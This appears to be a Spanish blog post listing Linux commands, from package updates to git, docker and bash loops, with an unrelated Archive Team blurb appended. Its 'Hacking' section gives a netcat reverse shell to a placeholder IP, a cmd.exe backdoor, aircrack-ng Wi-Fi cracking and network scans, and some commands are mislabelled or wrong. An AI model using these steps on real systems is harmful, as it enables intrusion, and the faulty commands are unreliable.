Una lista de comandos favoritos en Linux, por Ro
Privilegios absolutos (root)
su
Si el usuario pertenece al grupo de administradores
sudo -i
Para saber que distro de linux tienes
uname -a
Actualizar Debian/Ubuntu
apt update -y
apt upgrade -y
En Fedora/Centos se utiliza yum para gestionar los paquetes
yum update -y
Arch/Manjaro
pacman -Syy
pacman -Su
Puedes usar '&&' para varios comandos seguidos
apt update -y && apt upgrade -y && apt autoremove -y
Crear usuario
sudo useradd nombreusuario
Para agregar usuarios a grupos, por ejemplo, grupo sudo
sudo usermod -aG sudo nombreusuario
Eliminar usuario
sudo userdel nombreusuario
Ver usuarios y detalles del host
users
hostnamectl
Para cambiar la contraseña utilizamos:
passwd
Para el root, utilizamos:
sudo passwd root
Para ver los grupos a los que pertenece el usuario
group nombreusuario
Para saber el nombre del host
hostname
Para cambiar el nombre
hostnamectl set-hostname nuevonombre
Instalar todo tipo de programas en Linux, por ejemplo, htop:
sudo apt install htop -y
Instala programas con snap (apt install snapd o yum install snapd), por ejemplo, VScode, Android Studio y VLC:
snap install code --classic
snap install android-studio --classic
snap install vlc --classic
En Arch/Manjaro no necesitamos snap, ya en con yay encontramos todo lo que necesitamos
yay -S vim code android-studio vlc
Crear un USB bootable con cualquier imagen de Linux.
sudo dd bs=4M if=arch.iso of=/dev/sdb status=progress
Crear y navegar a las carpetas
mkdir carpeta
cd /carpeta
Regresar al directorio anterior
cd ..
Saber el directorio en el que estamos
pwd
Limpiar la pantalla en la terminal
clear # o Crtl-L
Ver la historia del terminal
history
- Para limpiar el historial
history -c(bash)
Mostrar toda la estructura de los ficheros:
tree
Montar USB externo
sudo mount -rw /dev/sd /carpeta
Crear un archivo vacio:
touch nombrearchivo
Crear un archivo con un texto corto:
echo "Texto corto" > nombrearchivo
Si utilizamos >> agregamos el texto sin reemplazar el archivo.
echo "Agregamos texto nuevo" >> nombrearchivo
Si queremos aplicar un comando a un archivo, por ejemplo, un sript mysql, usamos "<"
mariadb --user=root --password -s < mariadb.sql
Para echar un ojo a un archivo corto:
cat archivo
more archivo
less archivo
Con el editor nano podemos ver y editar archivos más grandes:
nano nombrearchivo
Utilizando Crlt-x guardamos los cambios.
Copiar archivos de un sitio a otro:
cp carpeta/archivo carpeta/
Crear copia con nuevo nombre
cp archivo nuevoarchivo
Renombrar archivos (no guarda la copia anterior)
mv archivo nuevoarchivo
Listar archivos
ls
ls -l
Para mover archivos seguimos el mismo razonamiento que al copiar. Mientras que si es una carpeta debemos agregar -r.
mv -r carpeta/ /carpeta/destino
Mover todos los archivos de una carpeta a otra
mv -r carpeta/ * /destino/
Para eliminar archivos y carpetas:
rm nombrearchivo
rm -r /carpeta
Cuidado, #sudo rm -r /* destroza nuestro sistema, elimina todo
Crear links a archivos es sencillo, por ejemplo, al "archivo1":
link archivo1 archivo2
Opcionalemente podemos utilizar:
ln archivo1 archivo2
Para crear links a directorios o entre particiones
ln -s /dir1 archivos
Este comando es un combo, ya que permite saber que binarios tenemos instalados:
ls /bin/ && ls /usr/bin
Para saber dispositivos conectados a los puertos USB:
lsusb
Ver las conexiones en los sockets de nuestro equipo
ss
ss -l
ss | grep tcp
ss -t -a
IP local y Wifi.
ifconfig
ip address
iwconfig
IP pública
curl ifconfig.me
curl https://ipinfo.io/ip
Ruta
ip route
route -n
Enviar peticiones a servidores online o en red local
ping google.com
ping 192.168.1.1
Usuario y tiempo conectado
uname -r
uptime -p
Almacenamiento de los discos df
Si queremos saber donde está un dispositivo USB, disco duro y sus particiones:
sudo fdisk -l
Los procesos del sistema pueden mostrarse con:
top
htop
ps -ef | less
El signo | nos permite concatenar comandos (pipes).
Imprimir todos los procesos en un momento determinado
ps -ef
Detalles del Hardware y bios del sistema
dmidecode
Con neofetch podemos ver detalles de nuestro sistema de manera divertida (apt install neofetch)
neofetch
Descomprimir archivos
unzip * .zip
gunzip example.txt.gz
Instalación de aplicaciones .deb. Tambien es posible usar gdebi.
dpkg -i archivo.deb && apt install -f
Los siguientes comandos utilizan systemctl para controlar servicios del sistema.
systemctl enable nombreservicio
systemctl start nombreservicio
systemctl stop nombreservicio
systemctl disable nombreservicio
Reiniciar Wifi
service network-manager restart
Detener proceso
top
kill idproceso
Características del sistema
lshw
lscpu
Browser en terminal
elinks https://medium.com/learn-love-code/how-to-set-up-your-professional-data-science-environment-6df74eb06aa4
Comandos comunes que siempre olvido.
Ver lista de fuentes
nano /etc/apt/sources.list
Controlar los permisos para la accesibilidad de los archivos y carpetas de nuestro sistema,
# por ejemplo, dar todo tipo de acceso a un archivo:
sudo chmod 777 nombrearchivo
sudo chmod a+rwx nombrearchivo
#O para que solamente root pueda acceder a ellos:
sudo chmod 700 nombrearchivo
Acceso a carpeta para todos los usuarios:
chmod ugo+rwx nombrecarpeta
Cambiar el 'owner' de /u y subdirectorios del usuario "root". Útil para acceder a archivos "READ-ONLY"
sudo chown -hR root /u
Encontrar palabras con grep o egrep
touch example
ls | egrep example
Buscar palabra en archivo
look texto archivo o grep texto archivo
Encontrar después de patrón:
echo "field1 field2 field3 field4" | grep -oP '(?<=field3 )[^ ]*'
Antes del patrón:
echo "field1 field2 field3 field4" | grep -oP '(?<=field2 )\w+'
Información de la red
IP del proveedor de Internet
grep nameserver /etc/resolv.conf | awk '{print $2}'
IP del servidor local
ip route show |grep default | awk '{print $3}' | cut -d$'\n' -f1
IP local del dispositivo
ip address show $interface | grep "inet " | awk '{print $2}'
Manejo de archivos y Data Mining
Para listar los archivos que tengan un patrón, por ejemplo, que terminen en .iso.
ls | grep * .iso
Para saber el número de archivos en una carpeta:
ls | wc -l
Conocer la cantidad de filas en un archivo
wc -l archivo
Para acceder a las 10 primeras y últimas filas:
head -10 archivo
tail -10 archivo
Si el archivo es demasiado grande, podemos separarlo en varias partes, por ejemplo, cinco:
split -n l/5 archivo x
Para seleccionar la quinta columna, utilizamos:
awk '{print $5}' archivo
Separar columnas en función de un caracter, por ejemplo, dos puntos (:)
cut -d ':' -f1 archivo
Obtener la primera fila de datos
sed 1d archivo
Eliminar la última línea o fila de datos
sed -i '$ d' archivo
Cambiar el orden de columnas
awk '{ print $3, $1 }' archivo.txt
ps -ef | awk -F " " '{print $2}'
Cortar una sección intermedia de filas
sed -n '250, 260p' archivo1.txt > archivo2.txt
Crear un secuencia seq 1 10
Para buscar archivos
sudo apt-get install mlocate
locate -i archivo
Programas importantes
Wget
Descargar archivos desde la terminal, por ejemplo, instalador de RStudio para Debian 10 y Ubuntu 19.
wget https://download1.rstudio.org/desktop/bionic/amd64/rstudio-1.2.5001-amd64.deb
Para descargar archivos de un servidor o website.
wget -A pdf,csv,txt,png,jpg -m -p -E -k -K -np www.programandoconro.wordpress.com
Descargar el index.html y los links asociados al website.
wget -rpk www.programandoconro.wordpress.com
Git
Para descargar un repositorios Git:
git clone https://github.com/progamandoconro/My-Lynux-Locker
Para actualizar el repositorio local a partir de GitHub:
git pull origin master
Los commits y los push también pueden realizarse de esta manera o directamente en GitHub.
git add . # Agregar todos los archivos
git add /path/to/file # Agregar un archivo concreto
git diff --cached
git commit -m 'comment'
git push -u origin master
git checkout -b 'robranch' #o (git switch robranch) # Cambiar de branch
git push origin robranch
git branch -a # Ver las branchs
git fetch --all # Actualizar las branchs
Más opciones y comandos de git:
git init
git config --global user.name "Your Name Comes Here"
git config --global user.email you@yourdomain.example.com
git status
git log
git log -p
git log --stat --summary
git help -a
git help -g
Tutorial de git
git help tutorial
Si creas un archivo .gitignore en el directorio, git ignora los archivos que determines.
Docker (o Podman)
docker run -it ubuntu
docker images
Dockerfile:
FROM
MAINTAINER
LABEL
COPY
ADD
RUN
EXPOSE
CMD
ENTRYPOINT
docker build . -t example
docker run example
docker ps
docker exec $ID bash
docker inspect $ID
docker network ls
Docker-compose
docker-compose up
docker-compose start
docker-compose stop
Tor
Para navegar de manera anónima. Simplemente descárgalo de https://www.torproject.org y:
tar -xvJf tor-browser-linux64-9.0.4_en-US.tar.xz
./tor-browser_en-US/Browser/start-tor-browser &
Anaconda
conda create -n my_env python=3.7 anaconda
conda create -n r_env r-essentials r-base
#Creados estos tres ambientes, podemos activar alguno con:
conda activate r_env
#Y ver las sesiones creadas con:
conda info --envs
#Para instalar modulos de Python, por ejemplo, face_recognition, utilizamos conda o pip:
conda install face_recognition # (o pip install face_recognition)
Descargar videos
youtube-dl $url
# solamente audio
youtube-dl --extract-audio --format mp3
# Ver los formatos disponibles
youtube-dl -F $url
Cambiar formato .avi a .mp4
ffmpeg -i input.avi -strict -2 output.mp4
Crear gifs animados (ImageMagick):
convert -delay 10 -loop 0 * .png mygif.gif
Ver fotos en la terminal(apt install fbi:
fbi foto.png
VLC para controlar la música desde la línea de comandos.
cvlc /music
# para ver opciones de control:
vlc --help
Juegos en Terminal
apt-get install bastet moon-buggy ninvaders nsnake pacman4console neofetch figlet -y
bastet
moon-buggy
figlet HOLA AMIGO
El próximo comando te hará sentir en la matrix. (apt install cmatrix)
cmatrix
telnet towel.blinkenlights.nl
Factores en la terminal factor 12
Voltea la palabra que introduzcas rev agrega 123, por ejemplo.
Repite un mensaje yes Viva Linux!!
Provocar sonidos en el computador (apt install beep / yum install beep) beep -f 4000 -D 500 -l 100 -r 100
También se puede hacer un banner, sencillamente: banner hola
Instalar nuevos themes e íconos
apt search shell-theme # o dnf en Fedora
apt search icon-theme
apt install ... # dnf install ...
COMANDOS NIVEL INTERMEDIO
Buscar paquetes que contienen algun comando que requerimos
apt search comando #(o ``yum search comando``)
Para ejecutar scripts al iniciar el sistema
cd ~
sudo nano .bashrc
# Escribe el script
./script
Listar las aplicaciones desktop
ls /usr/share/applications | awk -F '.desktop' ' { print $1}' -
Tiempo de procesos
echo "sudo apt update -y" > myUpdate.sh
time bash myUpdate.sh
Esperar 10 segundos.
sleep 10
Programar tareas
rm -f /var/run/crond.pid #delete pid
cron 00 00 * * * myUpdate.sh #todos los dias a las 12
Cambiar el tamaño de las fuente en terminal.
dpkg-reconfigure console-setup
Kill procesos en un socket determinado
sudo lsof -t -i tcp:8000 | xargs kill -9
Asignar "alias" a comandos, por ejemplo:
alias python=python3
Formatear USB:
fdisk -l # encontramos el dispositivo, por ejemplo sdc1.
umount /dev/sdc1
sudo mkfs -t vfat /dev/sdc1
Controlar luz de la pantalla (Debes encontrar el archivo brightness):
echo 8 > /sys/class/backlight/intel_backlight/brightness
Escribir un script de varias líneas en la terminal sin usar un editor.
cat <<EOF > print.sh
#!/bin/bash
echo esta es una línea
echo esta es otra línea
EOF
sh print.sh
Ejecutar un script cada vez que iniciemos una sesión, por ejemplo, un programa python:
sudo vim /etc/profile y agregamos al final sudo python /carpeta/con/el/programa/nombreprograma.py &
Hacking:
Nmap
(apt install nmap)
nmap localhost
# Para evaluar la red local entera:
nmap 192.168.1.1/24 #(o 192.168.0.1/24)
#filtrar por puerto y estado
nmap -Pn 192.168.1.1/24 -p22 -open
# Auditar
nmap -Pn **PublicIP**/24
SSH
Conectar
ssh usuario@servidor.local
o
ssh usuario@IP
Conectar SSH sin password
ssh-keygen
ssh-copy-id -i ~/.ssh/id_rsa.pub usuario@servidor.local
Compartir archivos
scp nombrearchivo mi@servidor.local:~
Bloquear IPs que intenten conectar sin permiso
iptables -A INPUT -s $IP -j DROP
Elegir en cual servidor mostrar el display.
export DISPLAY=:0 # en el servidor local
export DISPLAY=:1 # en el servidor remoto
Reverse shell tunneling:
El cliente con Firewall se conecta a la computadora del desarrollador (dev), y envía su shell de manera reversa (-R--), creando un túnel.
ssh -R 19999:localhost:22 dev@publicIP
El desarrollador escucha en el puerto 19999 y accede a la computadora del cliente (cli), gracias al túnel abierto.
ssh cli@localhost -p 19999
Redirigir un puerto (ej. 80) de una computadora remota al localhost (ej. 2002):
ssh -N -L2002:localhost:80 user@ip_machine
Compartir la terminal en el browser
(apt install tmate / yum install tmate)
tmate
Modo Monitor de Wifi, Sniffing y Crackeo con aircrack-ng (apt install aircrack-ng)
ifconfig wlan1 down
iwconfig wlan1 mode monitor
iwconfig
airdump-ng
airodump-ng -c 1 --bssid XX:XX:XX:XX:XX:XX:XX -w output wlan1
aircrack-ng -b 00:14:6C:7E:40:80 output.cap -w mydiccionary.txt
Escaneo de Redes Wifi Disponibles
sudo iwlist wlan0 scan | egrep "Cell|ESSID|Signal|Rates"
Ncat:
Reverse Shell:
Desarrollador escucha en puerto 4444
nc -lvp 4444
Cliente envía su Shell a la IP del desarrollador
nc **IP** 4444 -e /bin/sh
Backdoor
Ejecutar en el servidor remoto
nc -L -p 3001 -d -e cmd.exe
Servidor web inseguro
while : ; do ( echo -ne "HTTP/1.1 200 OK\r\n" ; cat index.html; ) | nc -l -p 8080 ; done
Chat
nc -l -vv -p 5000
nc 192.168.56.1 5000
Enviar archivo (inseguro)
Receptor escucha:
nc -l -p 9999 > test.txt
El otro lado envía:
nc 192.168.0.1 9999 < test.txt
Enviar archivo via ncat por tunel ssh (Seguro)
nc myDocument.pdf | ssh me.myserver.com nc -l -p 20000
# cliente
nc me.myserver.com 20000 > myDocument.pdf
Script al iniciar el sistema (boot).
sudo crontab -e
# Add line to file (here a python script):
@reboot python3 /home/pi/Desktop/exemple.py &
Ejecutar un comando cada 2 segundos.
watch ls
Si desde otras ventana agregas unos archivos, podrás ver los cambios en ventana que ejecuta watch.
Crear tu propio comando.
sudo -i
echo echo 'Hello World Linux' > mi-super-comando
chmod +x mi-super-comando && cp mi-super-comando /usr/bin/
mi-super-comando
IOT
Dispositivos conectados USB por conexión serial. Ubicarlo es sencillo con:
dmesg | grep ttyUSB
Podemos usar rshell y repl para acceder al dispositivo
rshell -p /dev/ttyUSB && repl
Para interactuar con el dispositivo, podemos usar:
ampy --port /dev/ttyUSB** ls
ampy --port /dev/ttyUSB** put archivo
ampy --port /dev/ttyUSB** run archivo
ampy --port /dev/ttyUSB** rm archivo
Temperatura CPU Raspberry Pi
/opt/vc/bin/vcgencmd measure_temp
Controla el audio:
amixer scontrols
Busca el dispositivo y ajustar el volumen
amixer sset 'PCM' 100%
Cambiar el banner cuando accedemos al shell del servidor.
vim /etc/motd
Programación (Bash Script)
For
for i in {1..10} ; do
echo "hola $i";
done
for i in $( ls ); do
echo item: $i
done
for i in `seq 1 10`;
do
echo $i
done
for e in {0..9};do echo $e🍀; done;
While
COUNTER=0
while [ $COUNTER -lt 10 ]; do
echo The counter is $COUNTER
let COUNTER=COUNTER+1
done
Until
COUNTER=20
until [ $COUNTER -lt 10 ]; do
echo COUNTER $COUNTER
let COUNTER-=1
done
If
if [ hola == hola ]; then
echo TRUE;
else
echo FALSE;
fi
Aritmética
echo $((((2+2-3)*3)/3))
Funciones
function chao {
echo 'Chao amigo!';
exit;
}
###########################################################################
Como despedida ... salir, reiniciar, apagar en 30 min, apagar ahora, respectivamente.
exit
reboot
shutdown -h +30
poweroff -f
Links a Posts Relacionados:
https://programandoconro.wordpress.com/2019/10/02/mis-99-comandos-favoritos-en-gnu-linux/ https://programandoconro.wordpress.com/2020/01/02/10-trucos-en-linux-para-programadores-principiantes/

Formed in 2009, the Archive Team (not to be confused with the archive.org Archive-It Team) is a rogue archivist collective dedicated to saving copies of rapidly dying or deleted websites for the sake of history and digital heritage. The group is 100% composed of volunteers and interested parties, and has expanded into a large amount of related projects for saving online and digital history.
